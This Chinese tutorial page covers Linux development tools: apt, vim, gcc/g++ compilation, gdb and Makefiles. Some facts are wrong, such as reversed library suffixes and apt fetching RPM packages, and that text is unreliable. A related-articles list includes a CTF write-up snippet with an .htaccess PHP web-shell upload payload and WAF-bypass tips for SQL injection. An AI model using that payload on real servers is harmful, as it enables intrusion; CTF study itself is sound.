当前位置: 首页 > news >正文

Linux环境基础开发工具的使用(apt, vim, gcc, g++, gbd, make/Makefile)

什么是软件包

在Linux下安装软件, 一个通常的办法是下载到程序的源代码, 并进行编译, 得到可执行程序.

但是这样太麻烦了, 于是有些人把一些常用的软件提前编译好, 做成软件包(可以理解成windows上的安 装程序)放在一个服务器上, 通过包管理器可以很方便的获取到这个编译好的软件包, 直接进行安装.

软件包和软件包管理器, 就好比 "App" 和 "应用商店" 这样的关系.

Linux 软件包管理器 apt

在linux下安装软件的方式大概有以下三种:

1)下载到程序的源代码,自行进行编译,得到可执行程序

2)获取rpm安装包,通过rpm命令进行安装(为解决安装包的依赖关系)

3)通过apt进行安装软件(经常使用的方式)

认识apt

apt(Advanced Package Tool)是Linux下非常常用的一种包管理器. 主要用于在 Ubuntu 、 Debian 和相关 Linux 发行版上

注意:一个服务器同一时刻只允许一个apt进行安装,不能在同一时刻安装多个软件

因为apt是从服务器上下载RPM包,所以在下载时必须联网,可以通过ping指令指令判断当前云服务器是否联网

查找软件包

使用apt list命令,它会罗列出可以下载的所有软件

这里我们以查找lrzsz为例

lrzsz可以将Windows当中的文件上传到Linux中,也可以将LInux当中的文件下载到Windows中,实现云服务器和本地机器之间进行学习胡川

使用apt list | grep lrzsz来得到lrasz软件信息

由于包的数量太多,所以我们可以使用grep指令筛选出我们所关注的包,这里我们以lrzsz为例

此时就会显示与lrasz相关的软件包

在ubantu上这里会报错,apt 没有稳定的 CLI 接口。在脚本中谨慎使用。

安装软件

指令:sudo apt install 软件名

apt会自动找到都有那些软件包需要下载,这时候敲 “y” 确认安装

注意事项:

1)安装软件时由于需要想系统目录中写入内容,一般需要sudo或者切换到root账户下才能完成

2)yum安装软件只能一个一个安装,正在使用apt安装一个软件的过程中,如果再尝试安装另一个软件,apt会报错

如何实现本地机器和云服务器之间的文件互传

如何已经安装了lrzsz,这里就顺便说一下lrzsz如何使用

指令: rz -E

通过该指令可选择需要从本地机器上传到云服务器的文件

指令:sz 文件名

该指令可以将云服务器上的文件下载到本地机器的指定文件夹

卸载软件

指令:sudo apt remove 软件名

apt会自动卸载该软件,这时候敲“y”确认卸载

注意:以上卸载安装指令在软件名前加上 -y 的意思是不需要询问直接卸载

Linux编辑器 - vim

vim的基本概念

vim在我们做开发的时候,主要解决我们编写代码的问题,本质上是一个多模式的文本编辑器

我们这里主要介绍vim最常用的三种模式:命令模式,插入模式,底行模式

1.命令模式(Normal mode)

在命令模式下,我们可以控制屏幕光标的移动,字符,字或行的删除,复制粘贴,剪贴等操作

2.插入模式(Insert mode)

只有在插入模式下才能进行文字的输入,该模式是我们使用最频繁的编辑模式

3.底行模式(Command mode)

在底行模式下,我们可以将文件保存或退出,也可以进行查找字符串等操作。在底行模式下我们还可以直接输入vim help-modes查看当前vim的所有模式

vim下各模式的切换

指令:vim 文件名

进入vim后默认是命令模式(普通模式),要输入文字需切换到插入模式

命令模式 切换至 插入模式

1)输入 i :当前光标处进入插入模式

2)输入 a :在当前光标的后一位置进入插入模式

3)输入 o :在当前光标处起一行进入插入模式 

命令模式 切换至 底行模式

1)插入模式或是底行模式切换至命令模式都是直接按一下Esc键即可

vim命令模式下各指令汇总

【移动光标】

1)按 k : 光标上移

2)按 j : 光标下移

3)按 h : 光标左移

4)按 l :光标右移

5)按 gg : 定位到光标到最开始行

6)按shift + g(G): 定位光标到结尾行

7)按 n + shift + g(nG): 定位光标到任意行

8)按shift + $:定位光标到当前行结尾

9)按shift + ^ :定位光标到当前行开始

10)按w , e, b:光标按照单词进行行内跨行移动

w:光标从左往右,从上到下的跳到下一个字的开头

e:光标从左往右,从上到下的跳到下一个字的结尾

b:光标从右到左,从上到下的跳到下一个字的开头

【删除,复制,剪切】

11)按(n)yy:复制光标所在行(n行)

12)  按(n)dd:剪切,删除

13)  按(n)p: 粘贴(重复行)到光标所在行下一行

【撤销】

14) 按u:撤销

15)按ctrl + r:撤销之前的撤销

【大小写转换】

16)按shift + ~:大小写转换

按n + shift + ~:大小写转换,从光标所在位置一直往后n个字符进行大小写转换

【替换】

17)按(n)r:对光标之后的所有字符进行批量化替换

18)按shift + R:替换模式,对内容进行整体的替换 -> 第四种模式

19)按(n)x:对光标字符之后的字符进行删除

【更改】

21)按cw:将光标所在的位置开始到字尾的字符删除,并进入插入模式

22)按cnw:将光标所在位置开往后的n个字删除,并进入插入模式

【翻页】

23)按Ctrl+b:上翻一页

24)按Ctrl+f:下翻一页

25)按Ctrl+u: 上翻半页

26)按Ctrl+d: 下翻半页

vim底行模式个指令汇总

先使用shhit + ;

【保存退出】

1)w :保存文件

2)q :退出vim,如果无法离开vim,可在q后面跟一个!表示强制退出

3)wq :保存退出

【行号设置】

4)set nu:显示行号

5)set nonu:取消行号

【分屏指令】

6)vs 文件名:实现多文件的编辑

7)Ctrl + w + w:光标在多屏幕下进行切换

【执行指令】

8) !+指令:在不退出vim的情况下,可以在指令前面加上!就可以执行Linux的指令,例如查看目录,编译当前代码等

vim的简单配置

【配置文件的位置】

1)在目录/etc/下面,有个名为vimrc的文件,这是系统中公共的配置文件,对所有用户都有效

2)在每个用户的主目录/home/xxx下,都可以自己建立私有的配置文件,命名为“vimrc”,这是该用户的私有配置文件,仅对该用户有效

例如:普通普通用户在自己的主目录下建立了“.vimrc”文件后,在文件当中输入set nu指令并保存

,下一次打开vim的时候就会自动显示行号

Linux编译器 - gcc/g++

gcc/g++的作用

gcc和g++分别是GUN的C和C++的编译器

gcc和g++在执行的时候一般有以下四个步骤:

语法:gcc/g++ 选项 文件

常用选项:

1)-E 只进行预处理,这个不生成文件,你需要把他重定向到一个输出文件里面(否则将把预处理后的结果打印到屏幕上)

2)-S 编译到汇编语言,不进行汇编和链接,即只进行预处理和编译

3)-c 编译到目标代码

4)-o 将处理结果输出到指定文件,该选项后紧跟输出文件名

5)-static 此选项对生成的文件采用静态链接

6)生成调试信息(若不携带该选项则默认生成release版本)

7)-shared 此选项将尽量使用动态库,生成文件较小

8)-w不生成任何警告信息

9)Wall 生成所有警告信息

10)-O0/-O1/-O2/-O3 编译器优化选项的四个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高

预处理   (进行宏替换)

预处理功能主要包括宏定义,文件包含,条件编译,去注释等。

预处理指令是以#号开头的代码行。

实例: gcc –E test.c –o test.i

选项“-E”,该选项的作用是让 gcc 在预处理结束后停止编译过程。

选项“-o”是指目标文件,“.i”文件为已经过预处理的C原始程序。

编译(生成机器可识别代码)

在这个阶段中,gcc/g++首先检查代码的规范性,是否有语法错误等,以确定代码的实际要做的工作,在检查无误之后,将代码翻译成汇编语言

用户可以使用-S选项来进行查看,该选项只进行编译而不进行汇编,生成汇编代码

实例: gcc –S test.i –o test.s

汇编(生成机器可识别代码)

汇编阶段是把编译阶段生成的“xxx.s”文件转成目标文件

使用-c选项就可以得到汇编代码转换为“xxx.o”的二进制目标代码

实例: gcc –c test.s –o test.o

连接(生成可执行文件或库文件)

在成功完成以上步骤之后,就进入了链接阶段

链接的主要任务就是将生成的各个“xxx.o”文件进行链接,生成可执行文件

gcc/g++不带-E, -S, -c选项时,就默认生成预处理,编译,汇编,链接全过程的后的文件

若不使用-o选项指定生成文件的文件名,则默认生成的可执行文件名为a.out

实例:gcc test1.c -o test 

可以看到test直接就生成了可执行文件,链接后生成的也是二进制文件

在这里涉及到一个重要的概念:函数库

我们的C程序中,并没有定义“printf”的函数实现,且在预编译中包含的“stdio.h”中也只有该函数的声明,而 没有定义函数的实现,那么,是在哪里实“printf”函数的呢? 最后的答案是:系统把这些函数实现都被做到名为 libc.so.6 的库文件中去了,在没有特别指定时,gcc 会到 系统默认的搜索路径“/usr/lib”下进行查找,也就是链接到 libc.so.6 库函数中去,这样就能实现函 数“printf”了,而这也就是链接的作用

函数库一般分为静态库和动态库两种

静态库是指编译链接时,把库文件的代码全部加入到可执行文件中,因此生成的文件比较大,但在运行时也就不再需要库文件了。其后缀名一般为“.a”

动态库与之相反,在编译链接时并没有把库文件的代码加入到可执行文件中,而是在程序执行时由运行时链接文件加载库,这样可以节省系统的开销。动态库一般后缀名为“.so”,如前面所述的 libc.so.6 就是动态 库。gcc 在编译时默认使用动态库。完成了链接之后,gcc 就可以生成可执行文件,如下所示。 gcc hello.o –o hello

gcc默认生成的二进制程序,是动态链接的,这点可以通过file 命令验证。

动态库

优点:省空间(磁盘的空间,内存的空间),bin体积小,加载速度块

缺点:依赖动态库,程序可移植性较差

静态库

优点:不依赖第三方库,程序的可移植性较高

缺点:浪费空间

gcc和g++默认生成的二进制程序是动态链接的,我们可以使用file指令进行查看

其次我们还可以使用ldd指令查看动态链接的可执行文件所依赖的库

其中/lib/x86_64-linux-gnu/libc.so.6就是当前云服务器当中的C标准库

如果我们需要使用静态链接我们可以加上-static选项

这时生成的可执行文件就是静态链接了

我们可以查看相同的源代码,使用不同的链接方式,所生成的可执行文件大小

可以看到动态链接确实比较节省空间,静态链接比较浪费空间

在Linux下:静态库(.so),动态库(.a)

在windows下:静态库(.lib),动态库(.dll)

Linux调试器-gdb

1. 背景

程序的发布方式有两种,debug模式和release模式

Linux gcc/g++出来的二进制程序,默认是release模式

要使用gdb调试,必须在源代码生成二进制程序的时候, 加上-g选项

对同一份源代码分别生成其release版本和debug版本的可执行程序,并通过ll指令可以看到,debug版本发布的可执行的大小比release版本发布的可执行文件大小要大一点,其原因就是在debug版本中包含了更多的调试信息

gdb命令汇总

【进入gdb】

指令:gdb 文件名

【退出gdb】

退出: ctrl + d 或 quit 调试命令:

【调试】

r或run:运行程序。

n 或 next:单条执行。

s或step:进入函数调用

until 行号:跳转至指定行

finish:执行完当前正在调用的函数后停下来(不能是主函数)

continue或c:运行到下一个断点处

set var 变量=x:修改变量的值为x

【显示】

list/l 行号:显示binFile源代码,接着上次的位置往下列,每次列10行。

list/l 函数名:列出某个函数的源代码。

print/p 变量:打印变量的值

print/p &变量:打印变量的地址

print/p 表达式:打印表达式的值,通过表达式可以修改变量的值

display 变量:将变量的地址加入常显示

undisplay 编号:取消指定编号变量的常显示

bt:查看各级函数调用及参数

info/i locals:查看当前栈帧当中的局部变量的值

【断点】

break(b) 行号:在某一行设置断点

break 函数名:在某个函数开头设置断点

info break :查看断点信息。

delete breakpoints:删除所有断点

delete breakpoints n:删除序号为n的断点

disable breakpoints:禁用断点

enable breakpoints:启用断点

Linux项目自动化构建工具-make/Makefile

make/Makefile的重要性

  • 会不会写Makefile,从一个侧面说明了一个人是否具备完成大型工程的能力
  • 一个工程中的源文件不计数,其按类型、功能、模块分别放在若干个目录中,Makefile定义了一系列的 规则来指定,哪些文件需要先编译,哪些文件需要后编译,哪些文件需要重新编译,甚至于进行更复杂 的功能操作
  • Makefile带来的好处就是——“自动化编译”,一旦写好,只需要一个make命令,整个工程完全自动编 译,极大的提高了软件开发的效率。
  • make是一个命令工具,是一个解释Makefile中指令的命令工具,一般来说,大多数的IDE都有这个命 令,比如:Delphi的make,Visual C++的nmake,Linux下GNU的make。可见,Makefile都成为了一 种在工程方面的编译方法。
  • make是一条命令,Makefile是一个文件,两个搭配使用,完成项目自动化构建。

依赖关系和依赖方法

在使用make/Makefile之前我们首先应该理解各个文件之间的依赖关系以及它们之间的依赖方法

依赖关系:文件A的变更会影响到文件B,那么就称文件B依赖于文件A

例如:test.o是由test.c文件通过预处理,编译以及汇编之后生成的二进制文件,即test.c的改变会影响到test.o,所以我们可以得到test.o文件依赖于test.c文件

依赖方法:如果文件B依赖于文件A,那么通过文件A得到文件B的方法,就是文件B依赖于文件A的依赖方法

例如:test.o依赖于test.c,而test.c通过 gcc -c test.c -o test.o 指令就可以得到test.o,那么test.o依赖于test.c的依赖方法就是 gcc -c test.c -o test.o

多文件编译

当你的工程当中有多个源文件的时候,应该如何进行编译生成可执行文件呢?

我们可以直接使用gcc指令对多个源文件进行编译,进而生成可执行程序

进行多文件编译的时候一般不使用直接生成可执行文件,而是先用每个源文件各自生成自己的二进制文件,然后再将这些二进制文件通过链接生成可执行程序

为什么让这样做?

若是直接使用源文件生成可执行程序,那么其中一个源文件进行了修改,再生成可执行程序的时候就需要将所有的源文件进行编译链接,重新生成一份新的可执行程序

我们若是先用每个源文件各自生成自己的二进制文件,那么其中一个源文件进行修改,就只需要重新编译生成该源文件的二进制文件,然后再将这些二进制文件通过链接生成可执行程序即可

注意:编译链接的时候不需要加上头文 件,因为编译器通过源文件的内容可以知道所需头文件的名字,而通过头文件的包含方式(“尖括号”包含和“双引号”包含),编译器可以知道应该从何处取寻找所需头文件

随着源文件个数的增加,我们每次重新生成可执行程序时,所需输入的gcc指令的长度与个数也会随之增加。这时我们将需要使用make和Makefile了,有了它们两的加入,这将大大的减少我们的工作量

make和Makefile的使用方法

步骤一:在源文件所在的目录下创建一个名为Makefile/makefile的文件

 步骤二:编写Makefile

Makefile的编写格式是,先写出文件的依赖关系,然后下一行写出这些文件的依赖方法

根据自己需求可以写一个,也可以写多个

编写完Makefile之后保存退出,然后再命令行当中执行make指令便可以生成可执行程序,以及该过程产生的中间产物

Makefile文件的简写方法:
1.$@: 表示依赖关系的目标文件(冒号的左侧)

2.$^: 表示依赖关系中的依赖文件列表(冒号右侧全部)

3.$<: 表示依赖关系中依赖列表的第一个依赖文件(冒号左侧第一个)

使用以上符号简化上述操作:

说明:gcc/g++携带-c选项时,若不指定输出文件的文件名,则默认输出文件名为 xxx.o,所以这里也可以不用指定文件名

make原理:

1.make会在当前目录下寻找名字为“Makefile”或者“makefile”的文件

2.如果找到,它会找文件当中的第一个目标文件,在上面的例子中,它会找到mytest这个文件,并把这个文件当作最终的目标文件

3.如果mytest文件不存在,或是mytest所依赖的后面的test.o和main.o文件的文件修改时间比mytest文件新(如果比mytest老,make的操作就不会执行),那么它就会执行后面的依赖方法来生成mytest文件

4.如果mytest所依赖的test.o文件不存在,那么make会在Makefile文件中寻找目标为test.o文件的依赖关系,如果找到则在根据其依赖方法生成test.o文件(类似于堆栈的过程)

5.如果你的test.c文件和main.c文件是存在的,make会根据依赖方法生成test.o文件和main.o文件,然后使用这两个文件形成最后的可执行文件mytest

6.make会一层一层的取找文件的依赖关系,直到编译出第一个目标文件

7.在寻找的过程中,如果出现错误,例如最后被依赖的文件找不到,那么make就会直接退出并报错

项目清理

在我们每次生成可执行程序前,都将上一次生成的可执行程序时生成的一系列文件进行清理,除了我们手动清理之外,我们还可以借助 make 帮助我们进行清理,这时我们可以将项目清理的指令加入到Makefile文件当中

像clean这种,没有被第一个目标文件直接或间接关联,那么你直接使用make它不会自动执行,所以我们可以显示使用make执行

注:一般将clean这种目标文件设置为伪目标,使用.PHONY修饰,伪目标的特性是:总是被执行

          

Linux第一个小程序 - 进度条

行缓冲区的概念

首先我们来感受一下行缓冲区的存在,在LInux当中以下代码的运行结果如何?

对于以上代码,它的输出为:hello world,然后休眠三秒之后结束运行

我将第6行末尾的\n删除之后,其实代码的运行结果就已经改变了,现在的运行结果:先休眠3秒然后才会将hello world输出出来。休眠的3秒钟其实hello world被放到了行缓冲区中,这种现象其实就证明了行缓冲区的存在

显示器对应的是行刷新,即当缓冲区当中遇到‘\n’或是缓冲区被写满才会被打印出来,而在第二份代码当中并没有‘\n’,所以字符串hello world先被写到缓冲区当中去了,然后休眠3秒后,直到程序结束时才将 hello world 打印到显示器当中

\r 和 \n

\r: 回车,使光标回到本行行首

\n: 换行,使光标下移一格

在实际当中,其实我们通常使用的Enter键就等价于 \n + \r

接下来我们来做一个有趣的实验

既然\r是使光标回到本行行首,那么如果我们向显示器上写了一个数之后再让光标回到本行行首,然后再写一个数,不就相当于将前面一个数据给覆盖了吗?

注意:我们可以使用\n刷新缓冲区,也可以使用fflush函数刷新缓冲区,即将缓冲区当中的数据刷新到当前显示器当中

对此我们可以编写一个倒计时的程序

在以上代码的最后,我们使用printf("\n");进行刷新操作,不然最后的数据0会被命令行给刷新掉

进度条代码及效果展示

效果展示:

相关文章:

Linux环境基础开发工具的使用(apt, vim, gcc, g++, gbd, make/Makefile)

什么是软件包 在Linux下安装软件, 一个通常的办法是下载到程序的源代码, 并进行编译, 得到可执行程序. 但是这样太麻烦了, 于是有些人把一些常用的软件提前编译好, 做成软件包(可以理解成windows上的安 装程序)放在一个服务器上, 通过包管理器可以很方便的获取到这个编译好的…...

宫本茂的游戏设计思想:有趣与风格化

作为独立游戏开发者之一&#xff0c;看到任天堂宫本茂20年前的言论后&#xff0c;深感认同。 游戏研发思想&#xff0c;与企业战略是互为表里的&#xff0c;游戏是企业战略的具体战术体现&#xff0c;虚空理念的有形载体。 任天堂长盛不衰的关键就是靠简单有趣的游戏&#xf…...

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …...

树和图的实现与应用:C语言实践详解

树和图的实现与应用:C语言实践详解 树和图是两种重要的非线性数据结构,在计算机科学中有着广泛的应用。从基本的二叉树到复杂的图算法(如最短路径和最小生成树),这些结构能够帮助我们高效解决实际问题。本文将从基础出发,逐步深入,讲解如何用C语言实现树和图,并探讨其…...

DeepSeek助力学术文献搜索!

搜集文献 宝子们如果是第一次发表学术论文&#xff0c;论文往往是会署名多个作者。在这种情况下&#xff0c;即便成功发表了论文&#xff0c;独立撰作或主导写作的挑战仍旧存在。那么&#xff0c;怎样才能独立地完成一篇属于自己的学术论文呢&#xff1f;对于初次尝试学术论文…...

新项目上传gitlab

Git global setup git config --global user.name “FUFANGYU” git config --global user.email “fyfucnic.cn” Create a new repository git clone gitgit.dev.arp.cn:casDs/sawrd.git cd sawrd touch README.md git add README.md git commit -m “add README” git push…...

t113 procd-init文件系统增加自己的程序文件

tina 默认为 procd-init ,可以通过Tina procd-init 与 busybox-init 切换 | 全志在线开发者论坛 默认的procd-init系统的文件夹在tina-sdk/target/allwinner/t113-round/base-files, 把文件或者文件夹放这里会在编译pack的时候打包到文件系统...

vue中的el是指什么

简介&#xff1a; 在Vue.js中&#xff0c;el指的是Vue实例的挂载元素。 具体来说&#xff0c;el是一个选项&#xff0c;用于指定Vue实例应该挂载到哪个DOM元素上。通过这个选项&#xff0c;Vue可以知道应该从哪个元素开始进行模板编译和渲染。它可以是一个CSS选择器字符串&…...

渗透测试之WAF规则触发绕过规则之规则库绕过方式

目录 Waf触发规则的绕过 特殊字符替换空格 实例 特殊字符拼接绕过waf Mysql 内置得方法 注释包含关键字 实例 Waf触发规则的绕过 特殊字符替换空格 用一些特殊字符代替空格&#xff0c;比如在mysql中%0a是换行&#xff0c;可以代替空格 这个方法也可以部分绕过最新版本的…...

前端【11】HTML+CSS+jQUery实战项目--实现一个简单的todolist

前端【8】HTMLCSSjavascript实战项目----实现一个简单的待办事项列表 (To-Do List)-CSDN博客 学过jQUery可以极大简化js代码的编写&#xff0c;基于之前实现的todolist小demo&#xff0c;了解如何使用 jQuery 来实现常见的动态交互功能。 修改后的js代码 关键点解析 动态添加…...

Vscode的AI插件 —— Cline

简介 vscode的一款AI辅助吃插件&#xff0c;主要用来辅助创建和编辑文件&#xff0c;探索大型项目&#xff0c;使用浏览器并执行终端命令&#xff08;需要多个tokens&#xff09;&#xff0c;可以使用模型上下文协议&#xff08;MCP&#xff09;来创建新工具并扩展自己(比较慢…...

HTML表单深度解析:GET 和 POST 提交方法

系列文章目录 01-从零开始学 HTML&#xff1a;构建网页的基本框架与技巧 02-HTML常见文本标签解析&#xff1a;从基础到进阶的全面指南 03-HTML从入门到精通&#xff1a;链接与图像标签全解析 04-HTML 列表标签全解析&#xff1a;无序与有序列表的深度应用 05-HTML表格标签全面…...

CycleGAN模型解读(附源码+论文)

CycleGAN 论文链接&#xff1a;Unpaired Image-to-Image Translation using Cycle-Consistent Adversarial Networks 官方链接&#xff1a;pytorch-CycleGAN-and-pix2pix 老规矩&#xff0c;先看看效果 总体流程 先简单过一遍流程&#xff0c;细节在代码里说。CycleGAN有…...

WebAssembly(Wasm)详解

WebAssembly 详解&#xff1a;开启 Web 应用的新纪元 引言 WebAssembly&#xff08;简称 Wasm&#xff09;是一种革命性的技术&#xff0c;它为 Web 应用带来了接近原生的性能&#xff0c;并支持使用多种编程语言进行开发。本文将深入探讨 WebAssembly 的方方面面&#xff0c…...

基于物联网设计的疫苗冷链物流监测系统

一、前言 1.1 项目开发背景 随着全球经济的发展和物流行业的不断创新&#xff0c;疫苗和生物制品的运输要求变得越来越高。尤其是疫苗的冷链物流&#xff0c;温度、湿度等环境因素的控制直接关系到疫苗的质量和效力&#xff0c;因此高效、可靠的冷链监控系统显得尤为重要。冷…...

RabbitMQ 多种安装模式

文章目录 前言一、Windows 安装 RabbitMq1、版本关系2、Erlang2.1、下载安装 Erlang 23.12.2、配置 Erlang 环境变量 3、RabbitMQ3.1、下载安装 RabbitMQ 3.8.93.2、环境变量3.3、启动RabbitMQ 管理插件3.3、RabbitMQ3.4、注意事项 二、安装docker1、更新系统包&#xff1a;2、…...

视频拼接,拼接时长版本

目录 视频较长&#xff0c;分辨率较大&#xff0c;这个效果很好&#xff0c;不耗用内存 ffmpeg imageio&#xff0c;适合视频较短 视频较长&#xff0c;分辨率较大&#xff0c;这个效果很好&#xff0c;不耗用内存 ffmpeg import subprocess import glob import os from nats…...

【Linux探索学习】第二十七弹——信号(一):Linux 信号基础详解

Linux学习笔记&#xff1a; https://blog.csdn.net/2301_80220607/category_12805278.html?spm1001.2014.3001.5482 前言&#xff1a; 前面我们已经将进程通信部分讲完了&#xff0c;现在我们来讲一个进程部分也非常重要的知识点——信号&#xff0c;信号也是进程间通信的一…...

有限元分析学习——Anasys Workbanch第一阶段笔记梳理

第一阶段笔记主要源自于哔哩哔哩《ANSYS-workbench 有限元分析应用基础教程》 张晔 主要内容导图&#xff1a; 笔记导航如下&#xff1a; Anasys Workbanch第一阶段笔记(1)基本信息与结果解读_有限元分析变形比例-CSDN博客 Anasys Workbanch第一阶段笔记(2)网格单元与应力奇…...

【YOLOv11改进- 注意力机制】YOLOv11+SCSA注意力机制(2024): 最新空间和通道协同注意力,助力YOLOv11有效涨点;包含二次创新

YOLOV11目标检测改进实例与创新改进专栏 专栏地址:YOLOv11目标检测改进专栏,包括backbone、neck、loss、分配策略、组合改进、原创改进等; 本文介绍 本文给大家带来的改进内容是在YOLOv11中添加SCSA注意力机制,助力有效涨点。作者提出了一种新的空间与通道协同注意模块(S…...

科技快讯 | 理想官宣:正式收费!WeChat 港币钱包拓宽商户网络;百川智能发布深度思考模型Baichuan-M1-preview

理想官宣&#xff1a;正式收费&#xff01; 1月23日&#xff0c;理想汽车宣布&#xff0c;理想超充站超时占用费正式运营。触发超时占用费的条件为充电结束后15分钟内未将充电枪插回充电桩&#xff0c;收费标准为2元/分钟&#xff0c;单次封顶200元。理想汽车将在充电结束的四个…...

LLM架构与优化:从理论到实践的关键技术

标题&#xff1a;“LLM架构与优化&#xff1a;从理论到实践的关键技术” 文章信息摘要&#xff1a; 文章探讨了大型语言模型&#xff08;LLM&#xff09;开发与应用中的关键技术&#xff0c;包括Transformer架构、注意力机制、采样技术、Tokenization等基础理论&#xff0c;以…...

深入理解Pytest中的Setup和Teardown

关注开源优测不迷路 大数据测试过程、策略及挑战 测试框架原理&#xff0c;构建成功的基石 在自动化测试工作之前&#xff0c;你应该知道的10条建议 在自动化测试中&#xff0c;重要的不是工具 对于简单程序而言&#xff0c;使用 Pytest 运行测试直截了当。然而&#xff0c;当你…...

PostgreSQL 约束

PostgreSQL 约束 引言 在数据库设计中,约束是确保数据完整性和一致性的关键工具。PostgreSQL,作为一款功能强大的开源关系型数据库管理系统,提供了丰富的约束类型来满足不同的数据库设计需求。本文将详细介绍PostgreSQL中的各种约束,包括其定义、用途和实现方法。 一、约…...

JAVA 接口、抽象类的关系和用处 详细解析

接口 - Java教程 - 廖雪峰的官方网站 一个 抽象类 如果实现了一个接口&#xff0c;可以只选择实现接口中的 部分方法&#xff08;所有的方法都要有&#xff0c;可以一部分已经写具体&#xff0c;另一部分继续保留抽象&#xff09;&#xff0c;原因在于&#xff1a; 抽象类本身…...

【微服务与分布式实践】探索 Dubbo

核心组件 服务注册与发现原理 服务提供者启动时&#xff0c;会将其服务信息&#xff08;如服务名、版本、所在节点的网络地址等&#xff09;注册到注册中心。服务消费者则可以从注册中心发现可用的服务提供者列表&#xff0c;并与之通信。注册中心会存储服务的信息&#xff0c…...

lightweight-charts-python 包 更新 lightweight-charts.js 的方法

lightweight-charts-python 是 lightweight-charts.js 的 python 包装&#xff0c;非常好用 lightweight-charts 更新比较频繁&#xff0c;导致 lightweight-charts-python 内置的 lightweight-charts 经常不是最新的。 新的 lightweight-charts 通常可以获得性能改进和bug修复…...

作業系統:設計與實現-母本

2023 南京大學《作業系統:設計與實現》 課程主頁(含講義):https://jyywiki.cn/OS/2023/ 【Python 实现操作系统模型 [南京大学2023操作系统-P4] (蒋炎岩)-哔哩哔哩】 https://b23.tv/jakxDbh 用Python实现操作系统模型讲义 一、操作系统基础概念 1.1 定义 操作系统(Oper…...

穿心莲内酯(andrographolide)生物合成CYP72-文献精读106

Two CYP72 enzymes function as Ent-labdane hydroxylases in the biosynthesis of andrographolide in Andrographis paniculata 两种CYP72酶在穿心莲&#xff08;Andrographis paniculata&#xff09;中作为Ent-labdane羟化酶&#xff0c;在穿心莲内酯&#xff08;andrograp…...

IDM-VTON本地部署教程:双重编码 + 文字提示,解锁真实野外试穿

一、介绍 IDM-VTON&#xff1a;改进扩散模型&#xff0c;实现真实的野外虚拟试穿。 技术原理&#xff1a;改进扩散模型&#xff0c;利用视觉编码器提取服装高级语义信息并与交叉注意力层融合&#xff0c;通过并行 UNet 结构的 GarmentNet 捕捉服装低级特征并与自注意力层结合&…...

【微服务与分布式实践】探索 Sentinel

参数设置 熔断时长 、最小请求数、最大RT ms、比例阈值、异常数 熔断策略 慢调⽤⽐例 当单位统计时⻓内请求数⽬⼤于设置的最⼩请求数⽬&#xff0c;并且慢调⽤的⽐例⼤于阈值&#xff0c;则接下来的熔断时⻓内请求会⾃动被熔断 异常⽐例 当单位统计时⻓内请求数⽬⼤于设置…...

云计算与虚拟化技术讲解视频分享

互联网各领域资料分享专区(不定期更新)&#xff1a; Sheet 前言 由于内容较多&#xff0c;且不便于排版&#xff0c;为避免资源失效&#xff0c;请用手机点击链接进行保存&#xff0c;若链接生效请及时反馈&#xff0c;谢谢~ 正文 链接如下&#xff08;为避免资源失效&#x…...

[c语言日寄]越界访问:意外的死循环

【作者主页】siy2333 【专栏介绍】⌈c语言日寄⌋&#xff1a;这是一个专注于C语言刷题的专栏&#xff0c;精选题目&#xff0c;搭配详细题解、拓展算法。从基础语法到复杂算法&#xff0c;题目涉及的知识点全面覆盖&#xff0c;助力你系统提升。无论你是初学者&#xff0c;还是…...

数据结构---哈希表

基本概念 哈希函数&#xff08;Hash Function&#xff09;是一种将输入的数据&#xff08;通常是任意大小的&#xff09;映射到固定大小的输出&#xff08;通常是一个固定长度的值&#xff09;的函数。这个输出值通常称为“哈希值”&#xff08;Hash Value&#xff09;或“哈希…...

【C语言----数组详解】

目录 ---------------------------------------begin--------------------------------------- 一、什么是数组 二、数组的声明和初始化 1. 数组的声明 2. 数组的初始化 三、数组元素的访问 四、数组的遍历 五、数组的应用 六、多维数组 七、总结 --------------------…...

C语言字符串详解

1. C语言中的字符串基础 C语言中的字符串是程序设计中不可忽视的部分。与现代高级编程语言不同&#xff0c;C语言对字符串的处理方式直接、灵活&#xff0c;并且强大。在C语言中&#xff0c;字符串并不是一种特殊的数据类型&#xff0c;而是字符数组的一种表现形式。字符串通常…...

基础IO(2)

基础IO&#xff08;2&#xff09; 理解“⼀切皆⽂件” ⾸先&#xff0c;在windows中是⽂件的东西&#xff0c;它们在linux中也是⽂件&#xff1b;其次⼀些在windows中不是⽂件的东西&#xff0c;⽐如进程、磁盘、显⽰器、键盘这样硬件设备也被抽象成了⽂件&#xff0c;你可以使…...

深入理解 Python 中的 `__all__`:控制模块的公共接口

在 Python 编程中&#xff0c;模块化设计是构建可维护和可扩展代码的关键。模块不仅帮助我们组织代码&#xff0c;还能通过隐藏实现细节来提高代码的可读性和安全性。Python 提供了多种机制来控制模块的可见性&#xff0c;其中 __all__ 是一个非常重要但常被忽视的特性。本文将…...

Python面试宝典7 | 正则表达式的match()与search(),精准匹配与全局搜索

今天&#xff0c;我们来聊聊Python正则表达式中两个常用的方法&#xff1a;match()和search()。它们都用于在字符串中查找匹配的模式&#xff0c;但有着重要的区别。 理论篇&#xff1a;匹配的起始位置 match()和search()最主要的区别在于它们匹配的起始位置&#xff1a; ma…...

代码随想录算法训练营第三十八天-动态规划-完全背包-279.完全平方数

把目标值当作背包容量&#xff0c;每个平方数当作物品&#xff0c;题目变更为装满指定容量的背包&#xff0c;最小用几个物品会不会出现拼凑不出来的情况&#xff1f;不会&#xff0c;因为有数字1&#xff0c;对任意正整数百分百能拼凑出来因此此题目与上一道题就变得一模一样了…...

996引擎 - NPC-添加NPC引擎自带形象

996引擎 - NPC-添加NPC引擎自带形象 截图参考添加NPC参考资料截图参考 添加NPC 编辑NPC表:Envir\DATA\cfg_npclist.xls 1.1. 需要临时隐藏NPC时可以在id前加 // 1.2. 如果NPC朝向不对,可以调整dir 列。(按8方向,上是0顺时针数。我这里给的4) 1.3. 形象代码:NPC代码、怪物…...

基于 NodeJs 一个后端接口的创建过程及其规范 -- 【elpis全栈项目】

基于 NodeJs 一个后端接口的创建过程及其规范 一个接口的诞生&#xff1a; #mermaid-svg-46HXZKI3fdnO0rKV {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-46HXZKI3fdnO0rKV .error-icon{fill:#552222;}#mermaid-sv…...

